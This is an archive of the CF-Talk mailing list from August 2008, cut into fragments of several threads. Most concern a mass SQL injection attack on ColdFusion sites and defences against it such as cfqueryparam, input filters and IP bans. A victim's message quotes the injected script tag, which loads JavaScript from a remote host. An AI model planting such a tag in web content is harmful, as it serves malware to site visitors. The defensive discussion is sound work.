Im a coldfusion noobs and my database just got injected with some script.
So for example one of the database field would appear something like so:
Gisella427.jpg/titlescript
src=http://jjmaoduo.3322.org/csrss/w.js;/script!--
I've tried updating the records using a replace command on the
There are a number of things you can do, and in fact i use all of these -
[A] Find out this person's ip address, and if the form is submitted
from that ip address, do nothing. Don't give them any kind of
feedback at all.That'll stop this current attack, but since these
idiots usually dart
It appears we've been attacked by this last night / this morning too.
Will update here with more info when we have it.
Dominic
2008/8/7 Mike Kear [EMAIL PROTECTED]:
There are a number of things you can do, and in fact i use all of these -
[A] Find out this person's ip address, and if the
On Wednesday 06 Aug 2008, Brad Wood wrote:
iframes aren't good for load testing. Browsers like IE follow spec and
only allow 2 concurrent connections to a server at once.
Even IE lets you adjust this number in the registry, but I use Apache JMeter
tbh.
--
Tom Chiverton
On Wednesday 06 Aug 2008, jw wrote:
Has anyone ever encountered a weird issue where you get a CF file not
found errors for Application.cfc or index.cfm when they are clearly part of
the application. I get this on my production server and turning off
template caching solves the problem.
Yesterday I installed Security Update 2008-005 (Intel) on my MacBook Pro
and Apache wouldn't talk to ColdFusion 8 any more!
I'm not Mac savvy enough to understand why, but it had something to do
with paths. Symptoms were very confusing and caused many hours of head
scratching. It wasn't
On Thursday 07 Aug 2008, Dominic Watson wrote:
It appears we've been attacked by this last night / this morning too.
Various people have been warning in the last few weeks that this sort of
scatter gun approach that started with ASP-based sites is now migrating to
ColdFusion powered ones.
--
Yes, I alerted my bosses to this at the time and unfortunately nothing
was done - we were too pressed for time. We now have 4 people going
through the site patching up all the vulnarable queries.
Dominic
2008/8/7 Tom Chiverton [EMAIL PROTECTED]:
On Thursday 07 Aug 2008, Dominic Watson wrote:
Torsten,
This was an issue and has been fixed in 8.0.1. I did a quick check on
it and it works fine for me. Are you on 8.0.1?
Charlie,
Make sure that you use the right case when you use refreshOnShow in
JavaScript as JS is case sensitive. Can you share the code that does not
On Thursday 07 Aug 2008, Dominic Watson wrote:
Yes, I alerted my bosses to this at the time and unfortunately nothing
was done - we were too pressed for time. We now have 4 people going
through the site patching up all the vulnarable queries.
It's sad but true that security holes are never
I konw you havent described a SQL injection ...
No, that's exactly what he described. The attack appends JavaScript to
character fields. And, unfortunately, blocking specific IP addresses won't
get you very far here, because it's a random, automated attack run from
compromised hosts in a botnet,
Im a coldfusion noobs and my database just got injected with
some script.
So for example one of the database field would appear
something like so:
Gisella427.jpg/titlescript
src=http://jjmaoduo.3322.org/csrss/w.js;/script!--
I've tried updating the records using a replace command on
Well, as I said, the answer to this (as it is for a lot of things on
the web) is not one but a combination of tactics.
The ban ip thing might not be the bees knees for this but it sure
helps with the kind of thing i THOUGHT he was describing. I've been
able to almost eliminate spam entries from
On Thursday 07 Aug 2008, Dave Watts wrote:
Use CFQUERYPARAM around all user-submitted query values.
And htmlEditFormat() around places where database data is output to the end
user.
--
Tom Chiverton
This email is sent for and on behalf of
If you have the option, that'd be much more efficient at the network level
than in the app and would filter the IPs for all apps at once. It might get
more 'effective' the larger it gets but it also gets less efficient.
The solution is to filter all input from users with something like
4 DAY HANDS ON CSS CLASS
August 18-21st, 2008, Fairfax Virginia. Cost $1,399 per person.
Do you want to learn about CSS?
Are you someone who is just getting started with CSS who is finding it
incredibly frustrating? Or someone who has used it for a while, but still
can't get positioning and
Will,
Definitely check out Java for ColdFusion developers by Eben Hewitt. By far
the easiest book for a CF'er to grasp Java.
Rick Mason
Thanks much Rick! I'll check it out!
Will
~|
Adobe® ColdFusion® 8 software 8 is the
On Thursday 07 Aug 2008, Bobby Hartsfield wrote:
The solution is to filter all input from users with something like
cfqueryparam. The only reason to combine that with another solution is to
filter data that made it in already... and like Tom said,
Ahh, no, not the only reason.
Support I enter
Thanks Tom, my JS is really weak... can you point me to some resources online
that would walk me through this?
Bret
On Tuesday 29 Jul 2008, Bret McDermitt wrote:
right on the money. If I could generate that key based on the domain
name
being passed to my server using AJAX and then send
Michael,
I have about 5 posts on this issue:
http://www.coldfusionmuse.com
Starting with this one...
http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-A
SCII
There's no magic bullet. The basic procedure is going to be to implement a
blacklist function to prevent the
Anyway, whatever solves the Michael's problem I feel sure
is going to be a combination of things, not just the one.
Actually, with this particular SQL injection attack it's really easy to
stop. We created a SQL filter that is called from application.cfm. It
loops through the URL structure and
Various people have been warning in the last few weeks that this sort of
scatter gun approach that started with ASP-based sites is now migrating to
ColdFusion powered ones.
And it is growing up.
Yesterday, my bad bot closed the door to about 50 attacks, and this
morning I have 60 reported.
We have CF5 and CFMX versions if anyone wants a copy.
I really see having several layers of protection to effectively stop
this sort fo thing. Something at the application level sounds like a
good first line of defense.
I'd be interested in seeing this.
Thanks
We handled this attack last month (it never did get through), and
starting Tuesday night received about 20 thousands instances (not an
exaggeration). Slowing down now for us, but, heh, it's early.
~|
Adobe® ColdFusion® 8 software
blocking specific IP addresses won't
get you very far here, because it's a random.
blocking IP addresses won't prevent injection in your database if it is
not protected,
but if an attack is detected the very first attempt, it will save
thousands of useless HTTP
requests on your sites, because
Claude, could you possibly share your code that stores the bad IP addresses
for a period of time to prevent these useless http requests? Thanks, CV.
-Original Message-
From: Claude Schneegans [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 9:53 AM
To: CF-Talk
Subject: Re: HELP!
I'd like to know how I can stop the requests from ever hitting the web-server.
Can anyone point me at a resource for a firewall solution? I've seen
some isapi filter solutions, but they all seem to just clean the
querystring and then forward the request on -- so it's still hitting
CF. I'd really
Tuesday night received about 20 thousands instances (not an
exaggeration). Slowing down now for us, but, heh, it's early.
This is were banning IPs at the first attempt will reduce this pollution.
If the attack is detected at the first attempt, and the address banned,
the statistics will show
No, that's exactly what he described. The attack appends JavaScript to
character fields. And, unfortunately, blocking specific IP addresses won't
get you very far here, because it's a random, automated attack run from
compromised hosts in a botnet, I think.
Yea I think it is too. I
Interesting. To confirm, you are on Windows XP, right?
* YEs I am on XP
I expected to see an error message output. If you have reinstalled CF8
(without encountering an errors) *** I just reinstalled this morning and I
DID encounter error but when I look in the log it says everything
Claude, could you possibly share your code that stores the bad IP
addresses
for a period of time to prevent these useless http requests? Thanks, CV.
Well, I'd be happy to, but it is a rather complete and complicated system.
It works for all sites/domains on the CF server, uses a database, and
I'd like to know how I can stop the requests from ever hitting the
web-server.
If you detect the attack at the first request, and block the IP, the bot
will
not even get the first page, will not see all links in it, and will not
search your entire server.
--
Thanks. I was hoping to find an elegant solution that stored the Ips in the
application scope for the length of the session timeout and then gracefully
removed the banned Ips once the session timed out. I have an idea on what to
do, but was looking for a little guidance as I am new to app.cfc and
Quick question: How I would I rewrite this using the built in NULL feature
to cfqueryparam? You don't use YesNoFormat with integers, correct?
cfif len(trim(form.makeid))cfqueryparam value=#trim(form.makeid)#
cfsqltype=cf_sql_integercfelsenull/cfif
Thanks, Che
I was hoping to find an elegant solution that stored the Ips in the
application scope for the length of the session timeout and then gracefully
removed the banned Ips once the session timed out.
How about doing this:
- Create a server scope array or list (if you have several sites), or
just in
If FORM.makeID is either zero or a number:
cfqueryparam value=#trim(form.makeid)# cfsqltype=cf_sql_integer
null=#NOT FORM.makeID#
Maybe throw in a Trim in the null= too.
Adrian
-Original Message-
From: Che Vilnonis [mailto:[EMAIL PROTECTED]
Sent: 07 August 2008 15:47
To: CF-Talk
Here is how I do it.
cfqueryparam cfsqltype=CF_SQL_INTEGER value=# trim(form.makeid)#
Null=#IsNull(form.makeid)# /
IsNull is a function I wrote to check if the value is blank.
-Original Message-
From: Che Vilnonis [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 7:47 AM
I always use: null=#NOT len(trim(form.whatever))# as that catches
everything.
Dave
-Original Message-
From: Adrian Lynch [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 9:55 AM
To: CF-Talk
Subject: RE: CFQueryparam and NULLs.
If FORM.makeID is either zero or a number:
Claude Schneegans wrote:
- In your application.cfm, simply check if cgi.REMOTE_ADDR is in the
list of banned addresses
and CFABORT if yes.
Just throwing a random thought that occurred to me when I read this.
If one cares to be a little nicer and proactive, maybe throw up a very
simple
Hello,
I have been working on a web application to sell as a product, is
there some way that I can protect the app by making the cfm or cfc
files in some kind of binary format?
thanks,
tom
~|
Adobe® ColdFusion® 8 software 8
cfexecute
name=C:\CFusionMX\bin\CFCompile.bat
arguments=-deploy C:\CFusionMX\wwwroot
C:\CFusionMX\wwwroot\compile\tocompile\ C:\CFusionMX\wwwroot\compile\compiled\
/cfexecute
Obvisouly make sure you have the right directories
-Original Message-
From: Tom Jones
On Thu, Aug 7, 2008 at 2:20 AM, Rakshith N [EMAIL PROTECTED] wrote:
Torsten,
This was an issue and has been fixed in 8.0.1. I did a quick check
on it and it works fine for me. Are you on 8.0.1?
Charlie,
Make sure that you use the right case when you use refreshOnShow in
So the coldfusion charts on this web site are showing up with the
developer edition watermark
http://giving.duke.edu/artsandsciences/
Even though it's a licenced install.. Other instances on the server
are NOT doing that.
Anyone seen this behavior before?
--
Rick Root
New Brian Vander Ark
Oh, this is cool!
Thanks,
tom
On Aug 7, 2008, at 8:33 AM, Paul Giesenhagen wrote:
cfexecute
name=C:\CFusionMX\bin\CFCompile.bat
arguments=-deploy C:\CFusionMX\wwwroot C:\CFusionMX\wwwroot
\compile\tocompile\ C:\CFusionMX\wwwroot\compile\compiled\
/cfexecute
Obvisouly make
Your system appears to be infect with a bot and it is
currently banned from access this site...
The cherry on the sundae ;-)
In this page, I even have a form so the user can give his address and
claim his innocence ;-)
--
___
REUSE CODE! Use custom tags;
See
Paul Giesenhagen wrote:
cfexecute
name=C:\CFusionMX\bin\CFCompile.bat
arguments=-deploy C:\CFusionMX\wwwroot
C:\CFusionMX\wwwroot\compile\tocompile\
C:\CFusionMX\wwwroot\compile\compiled\
/cfexecute
Obvisouly make sure you have the right directories
Of course you could
Yes, the tests I'll be doing tomorrow will be with jmeter. I'll post
the results when we have them.
On Thu, Aug 7, 2008 at 4:24 PM, Tom Chiverton
[EMAIL PROTECTED] wrote:
On Wednesday 06 Aug 2008, Brad Wood wrote:
iframes aren't good for load testing. Browsers like IE follow spec and
only
I'm a little bermused as to why you'd create such a response guys.
A bot is attempting the injection attacks yes? It's not likely to be visible
to the host computer's owner as far as I can imagine.
I suppose it would help **IF** a legitimate user came to your site at a
later date from a banned
I'd like to know how I can stop the requests from ever
hitting the web-server.
Can anyone point me at a resource for a firewall solution?
I've seen some isapi filter solutions, but they all seem to
just clean the querystring and then forward the request on --
so it's still hitting CF.
On Thursday 07 Aug 2008, Bret McDermitt wrote:
Thanks Tom, my JS is really weak... can you point me to some resources
online that would walk me through this?
Probably not, sorry, I don't really use JavaScript for this sort of thing
anymore, and don't know the details of your server or AJAX
Craig Dudley wrote:
I suppose it would help **IF** a legitimate user came to your site at a
later date from a banned IP, but that's all, or is that why you are doing
it?
Craig.
Exactly, if you are managing a popular enough site, it could happen. At
least once or twice in a blue moon.
Never mind, I restarted the instance and it's all good now.
Weird.
On Thu, Aug 7, 2008 at 11:40 AM, Rick Root [EMAIL PROTECTED] wrote:
So the coldfusion charts on this web site are showing up with the
developer edition watermark
http://giving.duke.edu/artsandsciences/
Even though it's a
You're right ... we are actually running multiple commands in this one cfm file
so that is our reasoning .. but the command line is yet another way.
-Original Message-
From: Ian Skinner [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 10:49 AM
To: CF-Talk
Subject: Re:
Craig Dudley wrote:
I suppose it would help **IF** a legitimate user came to your site at a
later date from a banned IP, but that's all, or is that why you are doing
it?
Craig.
Exactly, if you are managing a popular enough site, it could happen. At
least once or twice in a blue moon.
I
I'm a little bermused as to why you'd create such a response guys.
Just to make sure I give a chance to a legitimate user, in case my
robot detection was a bit too strong.
For instance, I also have a test based on the number of HTTP request per
second
in order to discriminate robots from human.
We drew a great deal of breathing room to implement the solutions
discussed here with our installation of Sonicwall firewall (about 600
bucks). Its intrusion prevention settings are highly configurable, both
globally and individually, and with an annual subscription of 200
dollars we get I
Hi,
I have an edit record form with some jquery that exists on it's own and runs
fine. I'd also like to call this cfm as a cfwindow source under certain
circumstances (parent-child associations).
I cannot for the life of me figure out how to get my jquery to run when it is
running inside a
The attack appends JavaScript to character fields.
Hi. Just checking in here on SQL injection -- I am a self-taught
self-employed CF programmer, been doing this for quite a while, but
there is a ton I don't know. And I have been hit by this current
wave of injection
So, my SQL Server
On Thursday 07 Aug 2008, Torrent Girl wrote:
I just reinstalled this morning
and I DID encounter error
What one !
--
Tom Chiverton
This email is sent for and on behalf of Halliwells LLP.
Halliwells LLP is a limited liability partnership
When you call the cfwindow, have you tried initializing the ready function?
-Original Message-
From: Justin T [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 11:17 AM
To: CF-Talk
Subject: CFwindow and jquery in source
Hi,
I have an edit record form with some jquery that
We've got the same thing. Sonicwall checks everything coming in and out of
the network and checks for anything that matches a database of known
injection types. Helps a ton!
Matt
We drew a great deal of breathing room to implement the solutions
discussed here with our installation of
Bruce...
Without going into the whole thing, the script runs in your database and
selects against the systables and syscolumns tables. It then loops over
these and performs updates on existing records.
You really need to go back and read the entire thread from 3 weeks ago.
What one !
--
Tom Chiverton
it didn't say. It just said check the log. I did but see no error.
Maybe I have a bad version of CF? I have never had a problem running CF locally.
Could this possibly be the permissions on my machine?
Bruce Schuman wrote:
How do they do this?
Yes it is done through the URL. This is well discussed here and in many
blogs. But the just gist is that the errant URL parameter is an ENTIRE
SQL function that well tell your database to scan every table looking at
every field, and if the field is
Brad you asked...
What output to the screen do
you get when you try starting the service from the command line?
C:\net start ColdFusion 8 Application Server
I tried this again and now I am getting an error:
A service specific error occured 2...
EXPLANATION
A service specific error occured
Ok I think I may have gotten somewhere with this.
I went into SERVICES to check to see if CF was running and it wasn't.
I selected RESTART and got the following message:
Windows could not start the CF 8 application server on local computer. For
more information review the system event log
Tgirl,
When you tried re-install, did you first 'uninstall' CF, and then remove all
existing CF directories so that you were doing a 'fresh' install?
Dave
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic
Here is something that came from one of the CF logs
08/06 14:09:15 error There is no web application configured to service your
request
coldfusion could not be started because it is already running.
coldfusion could not be started because it is already running.
java.io.FileNotFoundException:
Torrent Girl wrote:
What one !
--
Tom Chiverton
it didn't say. It just said check the log. I did but see no error.
Maybe I have a bad version of CF? I have never had a problem running CF
locally.
That might be possible? Is this a downloaded installer? If so did you
confirm
Tgirl,
When you tried re-install, did you first 'uninstall' CF, and then remove all
existing CF directories so that you were doing a 'fresh' install?
* I uninstalled but didn't make sure all of the directories were removed.
Should I try again?
* I uninstalled but didn't make sure all of the directories were
removed. Should I try again?
I would. Based on your last post, your jrun.jar file isn't even there, so
you obviously don't have a full installation.
I would check the downloaded file size as Ian pointed out. Then, if you can
yes, Ian as a matter of fact I remembered seeing an errror message when I
downloaded it that it was incomplete. I completely forgot about that.
I assumed this was something I could ignore.
I downloaded it from the adobe site.
Is there a better source to download from?
Is there a better source to download from?
No. Delete the download you have (permanently) and then download it again.
Maybe even to a different location to be safe. Then check the size/md5 hash
to be sure you have a good download.
Dave
When I index documents I put some metadata in the custom1 field.
When I search I use an internet type search and use cf_custom1 to help filter
results. An example of the criteria that I set in cfsearch:
cf_custom1:Finland currency
meaning to only return results with an exact match to
Any recommendations for web app firewall?
I have worked with Netscreen network firewall for years.
-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 07, 2008 9:01 AM
To: CF-Talk
Subject: RE: HELP! SQL Injection Attack!
I'd like to know how I can stop
Torrent Girl wrote:
yes, Ian as a matter of fact I remembered seeing an errror message when I
downloaded it that it was incomplete. I completely forgot about that.
I assumed this was something I could ignore.
I downloaded it from the adobe site.
Is there a better source to download from?
No, I sure haven't. I'm actually not sure what you mean.
When you call the cfwindow, have you tried initializing the ready function?
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get
No there is not a better choice, it is just that it is such a large
download that if there is any network hiccup during the process you
may
not always get a complete download.
That is why Adobe provides the file size and MD5 numbers so you can
confirm you have a complete download
Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
Fig Leaf Software provides the highest caliber vendor-authorized
instruction at our training centers in Washington DC, Atlanta,
Chicago, Baltimore, Northern Virginia, or on-site at your location.
Visit http://training.figleaf.com/ for
Can this be done through a URL?
Yes, easily.
Does the list of fields that have been injected provide any
clue about how or where the injection attack occurred? How
do these guys, or their program, know my table names and my
field names? I have some very obscure field names, and they
And yes, I'd like to see the URL loop script that was offered by Justin
Scott
I've had many requests for the SQL injection prevention script, so I'm
just going to post a URL directly to the code and release it into the
public domain for anyone interested:
Torrent Girl wrote:
Ok I am starting from scratch :)
I'll go to lunch and not work on anything else to prvent hiccups (hopefully)
When you get your good download, before you run it you will want to make
sure you have completely uninstalled all your previous attempts. Here is
Adobe knowledge
From: Torrent Girl [EMAIL PROTECTED]
yes, Ian as a matter of fact I remembered seeing an errror message when I
downloaded it that it was incomplete. I completely forgot about that.
Slaps hand on forehead
That would definitely cause you problems. Let us know how it goes after
you get a
Thanks, Andy and Ian --
I am going through this previous thread (I did get hit with this 2 or
3 weeks ago also) -- so, I am just wondering how I can get a
basic/minimal level of protection installed, maybe linked from application.cfm
I must have 100,000 pages I need to protect -- and my
A service specific error occured 2...
EXPLANATION
A service specific error occured
Ok, nevermind, I was hoping the real error message would get output to the
screen.
It appears your problem has been identified as an incomplete download, but
for the record though, what I should have had you
Thanks for the code, I'm in the processing of cleaning all the query
calls for my client and been seeing lots of posts regarding this sql
injection. There are a couple thousand queries that I have to clean up
but while I'm in the process of cleaning they're getting injected over
and over and
I must have 100,000 pages I need to protect -- and my primary
database has something like 180 tables, some of which have more than
100 fields. So, I need something I can do quickly. And I got a lot
to learn about this.
See my previous post regarding this code which can be placed in front
What I'm wondering is a the pros and cons of doing it this way. Does it
slow down the app checking for this on every page hit? Or do it the old
fashion way and clean up all the queries. Thoughts?
That depends on what your definition of slow is. On a modern server a
simple check for a
Ok guys I am up and running.
I downloaded again and reinstalled
Thank you ALL for your help and patience.
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
Glad to hear that!
~Brad
- Original Message -
From: Torrent Girl [EMAIL PROTECTED]
To: CF-Talk cf-talk@houseoffusion.com
Sent: Thursday, August 07, 2008 1:27 PM
Subject: Re: Installation of CF 8 (developer edition) is not working
Ok guys I am up and running.
I downloaded again and
- Original Message -
From: Bruce Schuman [EMAIL PROTECTED]
I must have 100,000 pages I need to protect --
Better get started then. :)
Read about two tools that can make the job easier for you:
I'd be interested in seeing this also.
We have CF5
and CFMX versions if anyone wants a copy.
-Justin Scott
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
Another example:
I have a global jquery field highlighter that runs for all my forms of a
specific class. It also relies on the document ready. It's working for the main
form, but not the form that is included by the cfwindow tag.
==
head
script =higherlighter
/head
Justin,
Good effort... It does not check the form scope however - or CGI (a rarely
used but still vulnerable scope). As has been pointed out, a blacklist
function like this one will result a good number of false positives for
items that are legitimate. Also note that not every DB platforms
where is your script src=jquery.js/script? it needs to be in the page
that creates the cfwindow... not in the page that resides in the cfwindow.
On Thu, Aug 7, 2008 at 11:35 AM, Justin T [EMAIL PROTECTED]wrote:
Another example:
I have a global jquery field highlighter that runs for all my
where is your script src=jquery.js/script? it needs to be in the page
that creates the cfwindow... not in the page that resides in the cfwindow.
On Thu, Aug 7, 2008 at 11:35 AM, Justin T [EMAIL PROTECTED]wrote:
Hi Charlie,
I tried it both ways, in the source document, in the caller as an
Good effort... It does not check the form scope however - or CGI
Since nearly all SQL injection attempts come through the URL (including
the recent ones), that is where I put the focus. With this script I
would not recommend checking the form scope as there is too high a risk
of false
I'm trying to configure the Missing Template Handler on an old CF4.5
Unix based server.
Our web shop has created a custom 404 incorporating the look and feel of
our site. It's path is simply /errors/404error.htm. The apache web
server has been properly configured to use this for static
Torrent Girl wrote:
Ok guys I am up and running.
I downloaded again and reinstalled
Thank you ALL for your help and patience.
I'll bet you will never forget to check the download numbers again. I
know I don't since this happened to me a few years ago.
Have you tried everything mentioned at
http://kb.adobe.com/selfservice/viewContent.do?externalId=95ee04fb
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
1 - 100 of 141 matches
Mail list logo